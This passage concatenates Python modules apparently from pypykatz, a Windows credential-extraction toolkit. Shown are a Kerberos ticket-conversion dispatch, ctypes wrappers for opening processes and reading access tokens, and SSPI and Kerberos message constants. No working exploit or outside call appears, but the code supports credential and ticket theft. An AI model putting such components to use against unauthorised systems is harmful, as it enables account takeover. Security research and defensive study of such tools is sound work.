329 | ccache_to_kirbi(args.ccachefile, args.kirbidir) | |
330 | elif args.ccache_module == 'loadkirbi': | |
331 | kirbi_to_ccache(args.ccachefile, args.kirbi) | |
332 | ||
333 | elif args.kerberos_module == 'kirbi': | |
334 | if args.kirbi_module == 'parse': | |
335 | parse_kirbi(args.kirbifile)⏎ |
0 | from ctypes import WinError, c_int, cast, c_int64, sizeof, windll, byref, Structure, c_ubyte, c_int16, c_int32, c_void_p, c_uint16, c_uint32, POINTER, c_longlong | |
1 | ||
2 | BYTE = c_ubyte | |
3 | UCHAR = BYTE | |
4 | SHORT = c_int16 | |
5 | USHORT = c_uint16 | |
6 | LONG = c_int32 | |
7 | LPVOID = c_void_p | |
8 | PVOID = LPVOID | |
9 | PPVOID = POINTER(PVOID) | |
10 | DWORD = c_uint32 | |
11 | HANDLE = LPVOID | |
12 | PHANDLE = POINTER(HANDLE) | |
13 | LPHANDLE = PHANDLE | |
14 | NTSTATUS = LONG | |
15 | PNTSTATUS = POINTER(NTSTATUS) | |
16 | USHORT = c_uint16 | |
17 | ULONG = c_uint32 | |
18 | PULONG = POINTER(ULONG) | |
19 | LONGLONG = c_int64 | |
20 | ||
21 | LPDWORD = POINTER(DWORD) | |
22 | LPULONG = POINTER(ULONG) | |
23 | LPLONG = POINTER(LONG) | |
24 | PDWORD = LPDWORD | |
25 | ||
26 | LARGE_INTEGER = c_longlong | |
27 | PLARGE_INTEGER = POINTER(LARGE_INTEGER) | |
28 | ||
29 | TOKEN_INFORMATION_CLASS = c_int | |
30 | ||
31 | ERROR_INSUFFICIENT_BUFFER = 122 | |
32 | ||
33 | # Standard access rights | |
34 | DELETE = 0x00010000 | |
35 | READ_CONTROL = 0x00020000 | |
36 | WRITE_DAC = 0x00040000 | |
37 | WRITE_OWNER = 0x00080000 | |
38 | SYNCHRONIZE = 0x00100000 | |
39 | STANDARD_RIGHTS_REQUIRED = 0x000F0000 | |
40 | STANDARD_RIGHTS_READ = READ_CONTROL | |
41 | STANDARD_RIGHTS_WRITE = READ_CONTROL | |
42 | STANDARD_RIGHTS_EXECUTE = READ_CONTROL | |
43 | STANDARD_RIGHTS_ALL = 0x001F0000 | |
44 | SPECIFIC_RIGHTS_ALL = 0x0000FFFF | |
45 | ||
46 | # Token access rights | |
47 | TOKEN_ASSIGN_PRIMARY = 0x0001 | |
48 | TOKEN_DUPLICATE = 0x0002 | |
49 | TOKEN_IMPERSONATE = 0x0004 | |
50 | TOKEN_QUERY = 0x0008 | |
51 | TOKEN_QUERY_SOURCE = 0x0010 | |
52 | TOKEN_ADJUST_PRIVILEGES = 0x0020 | |
53 | TOKEN_ADJUST_GROUPS = 0x0040 | |
54 | TOKEN_ADJUST_DEFAULT = 0x0080 | |
55 | TOKEN_ADJUST_SESSIONID = 0x0100 | |
56 | TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) | |
57 | TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | | |
58 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | | |
59 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | | |
60 | TOKEN_ADJUST_SESSIONID) | |
61 | ||
62 | # Invalid handle value is -1 casted to void pointer. | |
63 | try: | |
64 | INVALID_HANDLE_VALUE = c_void_p(-1).value #-1 #0xFFFFFFFF | |
65 | except TypeError: | |
66 | if sizeof(c_void_p) == 4: | |
67 | INVALID_HANDLE_VALUE = 0xFFFFFFFF | |
68 | elif sizeof(c_void_p) == 8: | |
69 | INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF | |
70 | else: | |
71 | raise | |
72 | ||
73 | SecurityAnonymous = 0 | |
74 | SecurityIdentification = 1 | |
75 | SecurityImpersonation = 2 | |
76 | SecurityDelegation = 3 | |
77 | ||
78 | SECURITY_IMPERSONATION_LEVEL = c_int | |
79 | PSECURITY_IMPERSONATION_LEVEL = POINTER(SECURITY_IMPERSONATION_LEVEL) | |
80 | ||
81 | TOKEN_TYPE = c_int | |
82 | PTOKEN_TYPE = POINTER(TOKEN_TYPE) | |
83 | ||
84 | class LUID(Structure): | |
85 | _fields_ = [ | |
86 | ("LowPart", DWORD), | |
87 | ("HighPart", LONG), | |
88 | ] | |
89 | ||
90 | def to_int(self): | |
91 | return LUID.luid_to_int(self) | |
92 | ||
93 | @staticmethod | |
94 | def luid_to_int(luid): | |
95 | return (luid.HighPart << 32) + luid.LowPart | |
96 | ||
97 | @staticmethod | |
98 | def from_int(i): | |
99 | luid = LUID() | |
100 | luid.HighPart = i >> 32 | |
101 | luid.LowPart = i & 0xFFFFFFFF | |
102 | return luid | |
103 | ||
104 | PLUID = POINTER(LUID) | |
105 | ||
106 | class TOKEN_STATISTICS(Structure): | |
107 | _fields_ = [ | |
108 | ("TokenId", LUID), | |
109 | ("AuthenticationId", LUID), | |
110 | ("ExpirationTime", LONGLONG), # LARGE_INTEGER | |
111 | ("TokenType", TOKEN_TYPE), | |
112 | ("ImpersonationLevel", SECURITY_IMPERSONATION_LEVEL), | |
113 | ("DynamicCharged", DWORD), | |
114 | ("DynamicAvailable", DWORD), | |
115 | ("GroupCount", DWORD), | |
116 | ("PrivilegeCount", DWORD), | |
117 | ("ModifiedId", LUID), | |
118 | ] | |
119 | ||
120 | def to_dict(self): | |
121 | return { | |
122 | "TokenId": self.TokenId.to_int(), | |
123 | "AuthenticationId": self.AuthenticationId.to_int(), | |
124 | "ExpirationTime": self.ExpirationTime, | |
125 | "TokenType": self.TokenType, | |
126 | "ImpersonationLevel": self.ImpersonationLevel, | |
127 | "DynamicCharged": self.DynamicCharged, | |
128 | "DynamicAvailable": self.DynamicAvailable, | |
129 | "GroupCount": self.GroupCount, | |
130 | "PrivilegeCount": self.PrivilegeCount, | |
131 | "ModifiedId": self.ModifiedId.to_int(), | |
132 | } | |
133 | PTOKEN_STATISTICS = POINTER(TOKEN_STATISTICS) | |
134 | ||
135 | def RaiseIfZero(result, func = None, arguments = ()): | |
136 | """ | |
137 | Error checking for most Win32 API calls. | |
138 | ||
139 | The function is assumed to return an integer, which is C{0} on error. | |
140 | In that case the C{WindowsError} exception is raised. | |
141 | """ | |
142 | if not result: | |
143 | raise WinError() | |
144 | return result | |
145 | ||
146 | # BOOL WINAPI OpenProcessToken( | |
147 | # __in HANDLE ProcessHANDLE, | |
148 | # __in DWORD DesiredAccess, | |
149 | # __out PHANDLE TokenHandle | |
150 | # ); | |
151 | def OpenProcessToken(ProcessHANDLE, DesiredAccess = TOKEN_ALL_ACCESS): | |
152 | _OpenProcessToken = windll.advapi32.OpenProcessToken | |
153 | _OpenProcessToken.argtypes = [HANDLE, DWORD, PHANDLE] | |
154 | _OpenProcessToken.restype = bool | |
155 | _OpenProcessToken.errcheck = RaiseIfZero | |
156 | ||
157 | NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE) | |
158 | _OpenProcessToken(ProcessHANDLE, DesiredAccess, byref(NewTokenHandle)) | |
159 | return NewTokenHandle | |
160 | ||
161 | ||
162 | def GetTokenInformation_tokenstatistics(hTokenHandle): | |
163 | """ | |
164 | The original function wasn't working. this one returns the SID for the token | |
165 | """ | |
166 | TokenStatistics = 10 | |
167 | ||
168 | _GetTokenInformation = windll.advapi32.GetTokenInformation | |
169 | _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD] | |
170 | _GetTokenInformation.restype = bool | |
171 | _GetTokenInformation.errcheck = RaiseIfZero | |
172 | ||
173 | ReturnLength = DWORD(0) | |
174 | try: | |
175 | #getting the correct memory allocation size | |
176 | _GetTokenInformation(hTokenHandle, TokenStatistics, None, ReturnLength, byref(ReturnLength)) | |
177 | except Exception as e: | |
178 | pass | |
179 | ||
180 | TokenInformationLength = ReturnLength.value | |
181 | ReturnLength = DWORD(0) | |
182 | ti = (BYTE * TokenInformationLength)() | |
183 | _GetTokenInformation(hTokenHandle, TokenStatistics, byref(ti), TokenInformationLength, byref(ReturnLength)) | |
184 | if ReturnLength.value != TokenInformationLength: | |
185 | raise WinError(ERROR_INSUFFICIENT_BUFFER) | |
186 | ||
187 | t = cast(ti, POINTER(TOKEN_STATISTICS)).contents | |
188 | res = t.to_dict() | |
189 | ||
190 | return res⏎ |
0 | ||
1 | from asn1crypto import core | |
2 | from minikerberos.protocol.asn1_structs import krb5int32, APOptions, Ticket, EncryptedData, AP_REQ | |
3 | ||
4 | UNIVERSAL = 0 | |
5 | APPLICATION = 1 | |
6 | CONTEXT = 2 | |
7 | TAG = 'explicit' | |
8 | ||
9 | class MechType(core.ObjectIdentifier): | |
10 | _map = { | |
11 | #'': 'SNMPv2-SMI::enterprises.311.2.2.30', | |
12 | '1.3.6.1.4.1.311.2.2.10': 'NTLMSSP - Microsoft NTLM Security Support Provider', | |
13 | '1.2.840.48018.1.2.2' : 'MS KRB5 - Microsoft Kerberos 5', | |
14 | '1.2.840.113554.1.2.2' : 'KRB5 - Kerberos 5', | |
15 | '1.2.840.113554.1.2.2.3': 'KRB5 - Kerberos 5 - User to User', | |
16 | '1.3.6.1.4.1.311.2.2.30': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism', | |
17 | } | |
18 | ||
19 | class InitialContextToken(core.Sequence): | |
20 | class_ = 1 | |
21 | tag = 0 | |
22 | _fields = [ | |
23 | ('thisMech', MechType, {'optional': False}), | |
24 | ('unk_bool', core.Boolean, {'optional': False}), | |
25 | ('innerContextToken', core.Any, {'optional': False}), | |
26 | ] | |
27 | ||
28 | _oid_pair = ('thisMech', 'innerContextToken') | |
29 | _oid_specs = { | |
30 | 'KRB5 - Kerberos 5': AP_REQ, | |
31 | }⏎ |
0 | from ctypes import WinError, windll, c_uint32, c_void_p, c_int32 | |
1 | ||
2 | LPVOID = c_void_p | |
3 | DWORD = c_uint32 | |
4 | HANDLE = LPVOID | |
5 | BOOL = c_int32 | |
6 | NULL = None | |
7 | ||
8 | PROCESS_QUERY_INFORMATION = 0x0400 | |
9 | PROCESS_VM_READ = 0x0010 | |
10 | MAXIMUM_ALLOWED = 33554432 | |
11 | ||
12 | ||
13 | def RaiseIfZero(result, func = None, arguments = ()): | |
14 | """ | |
15 | Error checking for most Win32 API calls. | |
16 | ||
17 | The function is assumed to return an integer, which is C{0} on error. | |
18 | In that case the C{WindowsError} exception is raised. | |
19 | """ | |
20 | if not result: | |
21 | raise WinError() | |
22 | return result | |
23 | ||
24 | def CloseHandle(hHandle): | |
25 | _CloseHandle = windll.kernel32.CloseHandle | |
26 | _CloseHandle.argtypes = [HANDLE] | |
27 | _CloseHandle.restype = bool | |
28 | _CloseHandle.errcheck = RaiseIfZero | |
29 | _CloseHandle(hHandle) | |
30 | ||
31 | # DWORD WINAPI GetCurrentProcessId(void); | |
32 | def GetCurrentProcessId(): | |
33 | _GetCurrentProcessId = windll.kernel32.GetCurrentProcessId | |
34 | _GetCurrentProcessId.argtypes = [] | |
35 | _GetCurrentProcessId.restype = DWORD | |
36 | return _GetCurrentProcessId() | |
37 | ||
38 | # HANDLE WINAPI OpenProcess( | |
39 | # __in DWORD dwDesiredAccess, | |
40 | # __in BOOL bInheritHandle, | |
41 | # __in DWORD dwProcessId | |
42 | # ); | |
43 | def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId): | |
44 | _OpenProcess = windll.kernel32.OpenProcess | |
45 | _OpenProcess.argtypes = [DWORD, BOOL, DWORD] | |
46 | _OpenProcess.restype = HANDLE | |
47 | ||
48 | hProcess = _OpenProcess(dwDesiredAccess, bool(bInheritHandle), dwProcessId) | |
49 | if hProcess == NULL: | |
50 | raise WinError() | |
51 | return hProcess⏎ |
0 | import enum | |
1 | import io | |
2 | from ctypes import pointer,c_byte, c_wchar, c_char_p, addressof, c_ubyte, c_int16, c_longlong, cast, byref, Structure, c_char, c_buffer, string_at, windll, c_void_p, c_uint32, POINTER, c_wchar_p, WinError, sizeof, c_int32, c_uint16, create_string_buffer | |
3 | from pypykatz.commons.common import hexdump | |
4 | ||
5 | BYTE = c_ubyte | |
6 | UCHAR = BYTE | |
7 | SHORT = c_int16 | |
8 | USHORT = c_uint16 | |
9 | LONG = c_int32 | |
10 | LPWSTR = c_wchar_p | |
11 | LPVOID = c_void_p | |
12 | PVOID = LPVOID | |
13 | PPVOID = POINTER(PVOID) | |
14 | DWORD = c_uint32 | |
15 | HANDLE = LPVOID | |
16 | PHANDLE = POINTER(HANDLE) | |
17 | LPHANDLE = PHANDLE | |
18 | NTSTATUS = LONG | |
19 | PNTSTATUS = POINTER(NTSTATUS) | |
20 | USHORT = c_uint16 | |
21 | ULONG = c_uint32 | |
22 | PULONG = POINTER(ULONG) | |
23 | LARGE_INTEGER = c_longlong | |
24 | PLARGE_INTEGER = POINTER(LARGE_INTEGER) | |
25 | LPBYTE = POINTER(BYTE) | |
26 | LPSTR = c_char_p | |
27 | CHAR = c_char | |
28 | ||
29 | LSA_OPERATIONAL_MODE = ULONG | |
30 | PLSA_OPERATIONAL_MODE = POINTER(LSA_OPERATIONAL_MODE) | |
31 | PCHAR = LPSTR | |
32 | SEC_CHAR = CHAR | |
33 | PSEC_CHAR = PCHAR | |
34 | ||
35 | ||
36 | ERROR_SUCCESS = 0 | |
37 | ||
38 | maxtoken_size = 2880 | |
39 | ||
40 | class SID: | |
41 | def __init__(self): | |
42 | self.Revision = None | |
43 | self.SubAuthorityCount = None | |
44 | self.IdentifierAuthority = None | |
45 | self.SubAuthority = [] | |
46 | ||
47 | def __str__(self): | |
48 | t = 'S-1-' | |
49 | if self.IdentifierAuthority < 2**32: | |
50 | t += str(self.IdentifierAuthority) | |
51 | else: | |
52 | t += '0x' + self.IdentifierAuthority.to_bytes(6, 'big').hex().upper().rjust(12, '0') | |
53 | for i in self.SubAuthority: | |
54 | t += '-' + str(i) | |
55 | return t | |
56 | ||
57 | @staticmethod | |
58 | def from_ptr(ptr): | |
59 | if ptr == None: | |
60 | return None | |
61 | data = string_at(ptr, 8) | |
62 | buff = io.BytesIO(data) | |
63 | sid = SID() | |
64 | sid.Revision = int.from_bytes(buff.read(1), 'little', signed = False) | |
65 | sid.SubAuthorityCount = int.from_bytes(buff.read(1), 'little', signed = False) | |
66 | sid.IdentifierAuthority = int.from_bytes(buff.read(6), 'big', signed = False) | |
67 | ||
68 | data = string_at(ptr+8, sid.SubAuthorityCount*4) | |
69 | buff = io.BytesIO(data) | |
70 | for _ in range(sid.SubAuthorityCount): | |
71 | sid.SubAuthority.append(int.from_bytes(buff.read(4), 'little', signed = False)) | |
72 | return sid | |
73 | ||
74 | class KERB_PROTOCOL_MESSAGE_TYPE(enum.Enum): | |
75 | KerbDebugRequestMessage = 0 | |
76 | KerbQueryTicketCacheMessage = 1 | |
77 | KerbChangeMachinePasswordMessage = 2 | |
78 | KerbVerifyPacMessage = 3 | |
79 | KerbRetrieveTicketMessage = 4 | |
80 | KerbUpdateAddressesMessage = 5 | |
81 | KerbPurgeTicketCacheMessage = 6 | |
82 | KerbChangePasswordMessage = 7 | |
83 | KerbRetrieveEncodedTicketMessage = 8 | |
84 | KerbDecryptDataMessage = 9 | |
85 | KerbAddBindingCacheEntryMessage = 10 | |
86 | KerbSetPasswordMessage = 11 | |
87 | KerbSetPasswordExMessage = 12 | |
88 | KerbVerifyCredentialsMessage = 13 | |
89 | KerbQueryTicketCacheExMessage = 14 | |
90 | KerbPurgeTicketCacheExMessage = 15 | |
91 | KerbRefreshSmartcardCredentialsMessage = 16 | |
92 | KerbAddExtraCredentialsMessage = 17 | |
93 | KerbQuerySupplementalCredentialsMessage = 18 | |
94 | KerbTransferCredentialsMessage = 19 | |
95 | KerbQueryTicketCacheEx2Message = 20 | |
96 | KerbSubmitTicketMessage = 21 | |
97 | KerbAddExtraCredentialsExMessage = 22 | |
98 | KerbQueryKdcProxyCacheMessage = 23 | |
99 | KerbPurgeKdcProxyCacheMessage = 24 | |
100 | KerbQueryTicketCacheEx3Message = 25 | |
101 | KerbCleanupMachinePkinitCredsMessage = 26 | |
102 | KerbAddBindingCacheEntryExMessage = 27 | |
103 | KerbQueryBindingCacheMessage = 28 | |
104 | KerbPurgeBindingCacheMessage = 29 | |
105 | KerbQueryDomainExtendedPoliciesMessage = 30 | |
106 | KerbQueryS4U2ProxyCacheMessage = 31 | |
107 | ||
108 | # https://apidock.com/ruby/Win32/SSPI/SSPIResult | |
109 | class SEC_E(enum.Enum): | |
110 | OK = 0x00000000 | |
111 | CONTINUE_NEEDED = 0x00090312 | |
112 | INSUFFICIENT_MEMORY = 0x80090300 #Not enough memory is available to complete this request. | |
113 | INVALID_HANDLE = 0x80090301 #The handle specified is invalid. | |
114 | UNSUPPORTED_FUNCTION = 0x80090302 #The function requested is not supported. | |
115 | TARGET_UNKNOWN = 0x80090303 #The specified target is unknown or unreachable. | |
116 | INTERNAL_ERROR = 0x80090304 #The Local Security Authority (LSA) cannot be contacted. | |
117 | SECPKG_NOT_FOUND = 0x80090305 #The requested security package does not exist. | |
118 | NOT_OWNER = 0x80090306 #The caller is not the owner of the desired credentials. | |
119 | CANNOT_INSTALL = 0x80090307 #The security package failed to initialize and cannot be installed. | |
120 | INVALID_TOKEN = 0x80090308 #The token supplied to the function is invalid. | |
121 | CANNOT_PACK = 0x80090309 #The security package is not able to marshal the logon buffer, so the logon attempt has failed. | |
122 | QOP_NOT_SUPPORTED = 0x8009030A #The per-message quality of protection is not supported by the security package. | |
123 | NO_IMPERSONATION = 0x8009030B #The security context does not allow impersonation of the client. | |
124 | LOGON_DENIED = 0x8009030C #The logon attempt failed. | |
125 | UNKNOWN_CREDENTIALS = 0x8009030D #The credentials supplied to the package were not recognized. | |
126 | NO_CREDENTIALS = 0x8009030E #No credentials are available in the security package. | |
127 | MESSAGE_ALTERED = 0x8009030F #The message or signature supplied for verification has been altered. | |
128 | OUT_OF_SEQUENCE = 0x80090310 #The message supplied for verification is out of sequence. | |
129 | NO_AUTHENTICATING_AUTHORITY = 0x80090311 #No authority could be contacted for authentication. | |
130 | BAD_PKGID = 0x80090316 #The requested security package does not exist. | |
131 | CONTEXT_EXPIRED = 0x80090317 #The context has expired and can no longer be used. | |
132 | INCOMPLETE_MESSAGE = 0x80090318 #The supplied message is incomplete. The signature was not verified. | |
133 | INCOMPLETE_CREDENTIALS = 0x80090320 #The credentials supplied were not complete and could not be verified. The context could not be initialized. | |
134 | BUFFER_TOO_SMALL = 0x80090321 #The buffers supplied to a function was too small. | |
135 | WRONG_PRINCIPAL = 0x80090322 #The target principal name is incorrect. | |
136 | TIME_SKEW = 0x80090324 #The clocks on the client and server machines are skewed. | |
137 | UNTRUSTED_ROOT = 0x80090325 #The certificate chain was issued by an authority that is not trusted. | |
138 | ILLEGAL_MESSAGE = 0x80090326 #The message received was unexpected or badly formatted. | |
139 | CERT_UNKNOWN = 0x80090327 #An unknown error occurred while processing the certificate. | |
140 | CERT_EXPIRED = 0x80090328 # The received certificate has expired. | |
141 | ENCRYPT_FAILURE = 0x80090329 #The specified data could not be encrypted. | |
142 | DECRYPT_FAILURE = 0x80090330 #The specified data could not be decrypted. | |
143 | ALGORITHM_MISMATCH = 0x80090331 #The client and server cannot communicate because they do not possess a common algorithm. | |
144 | SECURITY_QOS_FAILED = 0x80090332 #The security context could not be established due to a failure in the requested quality of service (for example, mutual authentication or delegation). | |
145 | UNFINISHED_CONTEXT_DELETED = 0x80090333 #A security context was deleted before the context was completed. This is considered a logon failure. | |
146 | NO_TGT_REPLY = 0x80090334 #The client is trying to negotiate a context and the server requires user-to-user but did not send a ticket granting ticket (TGT) reply. | |
147 | NO_IP_ADDRESSES = 0x80090335 #Unable to accomplish the requested task because the local machine does not have an IP addresses. | |
148 | WRONG_CREDENTIAL_HANDLE = 0x80090336 #The supplied credential handle does not match the credential associated with the security context. | |
149 | CRYPTO_SYSTEM_INVALID = 0x80090337 #The cryptographic system or checksum function is invalid because a required function is unavailable. | |
150 | MAX_REFERRALS_EXCEEDED = 0x80090338 #The number of maximum ticket referrals has been exceeded. | |
151 | MUST_BE_KDC = 0x80090339 #The local machine must be a Kerberos domain controller (KDC), and it is not. | |
152 | STRONG_CRYPTO_NOT_SUPPORTED = 0x8009033A #The other end of the security negotiation requires strong cryptographics, but it is not supported on the local machine. | |
153 | TOO_MANY_PRINCIPALS = 0x8009033B #The KDC reply contained more than one principal name. | |
154 | NO_PA_DATA = 0x8009033C #Expected to find PA data for a hint of what etype to use, but it was not found. | |
155 | PKINIT_NAME_MISMATCH = 0x8009033D #The client certificate does not contain a valid user principal name (UPN), or does not match the client name in the logon request. Contact your administrator. | |
156 | SMARTCARD_LOGON_REQUIRED = 0x8009033E #Smart card logon is required and was not used. | |
157 | SHUTDOWN_IN_PROGRESS = 0x8009033F #A system shutdown is in progress. | |
158 | KDC_INVALID_REQUEST = 0x80090340 #An invalid request was sent to the KDC. | |
159 | KDC_UNABLE_TO_REFER = 0x80090341 #The KDC was unable to generate a referral for the service requested. | |
160 | KDC_UNKNOWN_ETYPE = 0x80090342 #The encryption type requested is not supported by the KDC. | |
161 | UNSUPPORTED_PREAUTH = 0x80090343 #An unsupported pre-authentication mechanism was presented to the Kerberos package. | |
162 | DELEGATION_REQUIRED = 0x80090345 #The requested operation cannot be completed. The computer must be trusted for delegation, and the current user account must be configured to allow delegation. | |
163 | BAD_BINDINGS = 0x80090346 #Client's supplied Security Support Provider Interface (SSPI) channel bindings were incorrect. | |
164 | MULTIPLE_ACCOUNTS = 0x80090347 #The received certificate was mapped to multiple accounts. | |
165 | NO_KERB_KEY = 0x80090348 #No Kerberos key was found. | |
166 | CERT_WRONG_USAGE = 0x80090349 #The certificate is not valid for the requested usage. | |
167 | DOWNGRADE_DETECTED = 0x80090350 #The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you. | |
168 | SMARTCARD_CERT_REVOKED = 0x80090351 #The smart card certificate used for authentication has been revoked. Contact your system administrator. The event log might contain additional information. | |
169 | ISSUING_CA_UNTRUSTED = 0x80090352 #An untrusted certification authority (CA) was detected while processing the smart card certificate used for authentication. Contact your system administrator. | |
170 | REVOCATION_OFFLINE_C = 0x80090353 #The revocation status of the smart card certificate used for authentication could not be determined. Contact your system administrator. | |
171 | PKINIT_CLIENT_FAILURE = 0x80090354 #The smart card certificate used for authentication was not trusted. Contact your system administrator. | |
172 | SMARTCARD_CERT_EXPIRED = 0x80090355 #The smart card certificate used for authentication has expired. Contact your system administrator. | |
173 | NO_S4U_PROT_SUPPORT = 0x80090356 #The Kerberos subsystem encountered an error. A service for user protocol requests was made against a domain controller that does not support services for users. | |
174 | CROSSREALM_DELEGATION_FAILURE = 0x80090357 #An attempt was made by this server to make a Kerberos-constrained delegation request for a target outside the server's realm. This is not supported and indicates a misconfiguration on this server's allowed-to-delegate-to list. Contact your administrator. | |
175 | REVOCATION_OFFLINE_KDC = 0x80090358 #The revocation status of the domain controller certificate used for smart card authentication could not be determined. The system event log contains additional information. Contact your system administrator. | |
176 | ISSUING_CA_UNTRUSTED_KDC = 0x80090359 #An untrusted CA was detected while processing the domain controller certificate used for authentication. The system event log contains additional information. Contact your system administrator. | |
177 | KDC_CERT_EXPIRED = 0x8009035A #The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log. | |
178 | KDC_CERT_REVOKED = 0x8009035B #The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log. | |
179 | INVALID_PARAMETER = 0x8009035D #One or more of the parameters passed to the function were invalid. | |
180 | DELEGATION_POLICY = 0x8009035E #The client policy does not allow credential delegation to the target server. | |
181 | POLICY_NLTM_ONLY = 0x8009035F #The client policy does not allow credential delegation to the target server with NLTM only authentication. | |
182 | RENEGOTIATE = 590625 | |
183 | COMPLETE_AND_CONTINUE = 590612 | |
184 | COMPLETE_NEEDED = 590611 | |
185 | #INCOMPLETE_CREDENTIALS = 590624 | |
186 | ||
187 | class SECPKG_CRED(enum.IntFlag): | |
188 | AUTOLOGON_RESTRICTED = 0x00000010 #The security does not use default logon credentials or credentials from Credential Manager. | |
189 | #This value is supported only by the Negotiate security package. | |
190 | #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. | |
191 | ||
192 | BOTH = 3 #Validate an incoming credential or use a local credential to prepare an outgoing token. This flag enables both other flags. This flag is not valid with the Digest and Schannel SSPs. | |
193 | INBOUND = 1 #Validate an incoming server credential. Inbound credentials might be validated by using an authenticating authority when InitializeSecurityContext (General) or AcceptSecurityContext (General) is called. If such an authority is not available, the function will fail and return SEC_E_NO_AUTHENTICATING_AUTHORITY. Validation is package specific. | |
194 | OUTBOUND = 2 #Allow a local client credential to prepare an outgoing token. | |
195 | PROCESS_POLICY_ONLY = 0x00000020 #The function processes server policy and returns SEC_E_NO_CREDENTIALS, indicating that the application should prompt for credentials. | |
196 | #This value is supported only by the Negotiate security package. | |
197 | #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. | |
198 | ||
199 | ||
200 | class ISC_REQ(enum.IntFlag): | |
201 | DELEGATE = 1 | |
202 | MUTUAL_AUTH = 2 | |
203 | REPLAY_DETECT = 4 | |
204 | SEQUENCE_DETECT = 8 | |
205 | CONFIDENTIALITY = 16 | |
206 | USE_SESSION_KEY = 32 | |
207 | PROMPT_FOR_CREDS = 64 | |
208 | USE_SUPPLIED_CREDS = 128 | |
209 | ALLOCATE_MEMORY = 256 | |
210 | USE_DCE_STYLE = 512 | |
211 | DATAGRAM = 1024 | |
212 | CONNECTION = 2048 | |
213 | CALL_LEVEL = 4096 | |
214 | FRAGMENT_SUPPLIED = 8192 | |
215 | EXTENDED_ERROR = 16384 | |
216 | STREAM = 32768 | |
217 | INTEGRITY = 65536 | |
218 | IDENTIFY = 131072 | |
219 | NULL_SESSION = 262144 | |
220 | MANUAL_CRED_VALIDATION = 524288 | |
221 | RESERVED1 = 1048576 | |
222 | FRAGMENT_TO_FIT = 2097152 | |
223 | HTTP = 0x10000000 | |
224 | ||
225 | class SECPKG_ATTR(enum.Enum): | |
226 | SESSION_KEY = 9 | |
227 | C_ACCESS_TOKEN = 0x80000012 #The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server. | |
228 | C_FULL_ACCESS_TOKEN = 0x80000082 #The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server. | |
229 | CERT_TRUST_STATUS = 0x80000084 #The pBuffer parameter contains a pointer to a CERT_TRUST_STATUS structure that specifies trust information about the certificate.This attribute is supported only on the client. | |
230 | CREDS = 0x80000080 # The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. The client credentials can be either user name and password or user name and smart card PIN. This attribute is supported only on the server. | |
231 | CREDS_2 = 0x80000086 #The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. If the client credential is user name and password, the buffer is a packed KERB_INTERACTIVE_LOGON structure. If the client credential is user name and smart card PIN, the buffer is a packed KERB_CERTIFICATE_LOGON structure. If the client credential is an online identity credential, the buffer is a marshaled SEC_WINNT_AUTH_IDENTITY_EX2 structure. This attribute is supported only on the CredSSP server. Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. | |
232 | NEGOTIATION_PACKAGE = 0x80000081 #The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfo structure that specifies the name of the authentication package negotiated by the Microsoft Negotiate provider. | |
233 | PACKAGE_INFO = 10 #The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfostructure.Returns information on the SSP in use. | |
234 | SERVER_AUTH_FLAGS = 0x80000083 #The pBuffer parameter contains a pointer to a SecPkgContext_Flags structure that specifies information about the flags in the current security context. This attribute is supported only on the client. | |
235 | SIZES = 0x0 #The pBuffer parameter contains a pointer to a SecPkgContext_Sizes structure. Queries the sizes of the structures used in the per-message functions and authentication exchanges. | |
236 | SUBJECT_SECURITY_ATTRIBUTES = 124 # The pBuffer parameter contains a pointer to a SecPkgContext_SubjectAttributes structure. This value returns information about the security attributes for the connection. This value is supported only on the CredSSP server. Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. | |
237 | ENDPOINT_BINDINGS = 26 | |
238 | ||
239 | # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-_secbuffer | |
240 | class SECBUFFER_TYPE(enum.Enum): | |
241 | SECBUFFER_ALERT = 17 #The buffer contains an alert message. | |
242 | SECBUFFER_ATTRMASK = 4026531840 #The buffer contains a bitmask for a SECBUFFER_READONLY_WITH_CHECKSUM buffer. | |
243 | SECBUFFER_CHANNEL_BINDINGS = 14 # The buffer contains channel binding information. | |
244 | SECBUFFER_CHANGE_PASS_RESPONSE = 15 #The buffer contains a DOMAIN_PASSWORD_INFORMATION structure. | |
245 | SECBUFFER_DATA = 1 #The buffer contains common data. The security package can read and write this data, for example, to encrypt some or all of it. | |
246 | SECBUFFER_DTLS_MTU = 24#The buffer contains the setting for the maximum transmission unit (MTU) size for DTLS only. The default value is 1096 and the valid configurable range is between 200 and 64*1024. | |
247 | SECBUFFER_EMPTY = 0 #This is a placeholder in the buffer array. The caller can supply several such entries in the array, and the security package can return information in them. For more information, see SSPI Context Semantics. | |
248 | SECBUFFER_EXTRA = 5 #The security package uses this value to indicate the number of extra or unprocessed bytes in a message. | |
249 | SECBUFFER_MECHLIST = 11 #The buffer contains a protocol-specific list of object identifiers (OIDs). It is not usually of interest to callers. | |
